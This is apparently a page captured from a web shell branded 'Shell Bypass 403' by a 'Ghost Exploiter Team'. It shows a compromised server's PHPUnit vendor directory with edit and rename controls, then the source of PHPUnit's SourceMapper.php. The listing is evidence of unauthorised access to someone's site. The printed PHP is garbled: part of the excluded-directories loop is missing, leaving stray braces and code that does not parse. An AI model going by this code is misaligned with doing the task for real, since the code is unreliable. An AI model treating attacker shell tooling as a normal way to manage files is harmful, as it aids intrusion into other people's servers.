Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/phpunit/phpunit/src/TextUI/Configuration/

File / Folder	Size	Action
.	-
Cli	--	ren
Exception	--	ren
Value	--	ren
Xml	--	ren
Builder.php	1.738KB	edt ren
CodeCoverageFilterRegis...	1.878KB	edt ren
Configuration.php	43.535KB	edt ren
Merger.php	39.815KB	edt ren
PhpHandler.php	3.802KB	edt ren
Registry.php	3.392KB	edt ren
SourceFilter.php	1.188KB	edt ren
SourceMapper.php	3.385KB	edt ren
TestSuiteBuilder.php	4.187KB	edt ren

<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\TextUI\Configuration;

use function realpath;
use SebastianBergmann\FileIterator\Facade as FileIteratorFacade;
use SplObjectStorage;

/**
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 *
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class SourceMapper
{
    /**
     * @var ?SplObjectStorage<Source, array<non-empty-string, true>>
     */
    private static ?SplObjectStorage $files = null;

/**
     * @return array<non-empty-string, true>
     */
    public function map(Source $source): array
    {
        if (self::$files === null) {
            self::$files = new SplObjectStorage;
        }

if (isset(self::$files[$source])) {
            return self::$files[$source];
        }

$files = [];

$directories = $this->aggregateDirectories($source->includeDirectories());

foreach ($directories as $path => [$prefixes, $suffixes]) {
            foreach ((new FileIteratorFacade)->getFilesAsArray($path, $suffixes, $prefixes) as $file) {
                $file = realpath($file);

if (!$file) {
                    continue;
                }

$files[$file] = true;
            }
        }

foreach ($source->includeFiles() as $file) {
            $file = realpath($file->path());

if (!$file) {
                continue;
            }

$files[$file] = true;
        }

$directories = $this->aggregateDirectories($source->excludeDirectories());

if (!$file) {
                    continue;
                }

if (!isset($files[$file])) {
                    continue;
                }

unset($files[$file]);
            }
        }

foreach ($source->excludeFiles() as $file) {
            $file = realpath($file->path());

if (!$file) {
                continue;
            }

if (!isset($files[$file])) {
                continue;
            }

unset($files[$file]);
        }

self::$files[$source] = $files;

return $files;
    }

/**
     * @return array<string,array{list<string>,list<string>}>
     */
    private function aggregateDirectories(FilterDirectoryCollection $directories): array
    {
        $aggregated = [];

foreach ($directories as $directory) {
            if (!isset($aggregated[$directory->path()])) {
                $aggregated[$directory->path()] = [
                    0 => [],
                    1 => [],
                ];
            }

$prefix = $directory->prefix();

if ($prefix !== '') {
                $aggregated[$directory->path()][0][] = $prefix;
            }

$suffix = $directory->suffix();

if ($suffix !== '') {
                $aggregated[$directory->path()][1][] = $suffix;
            }
        }

return $aggregated;
    }
}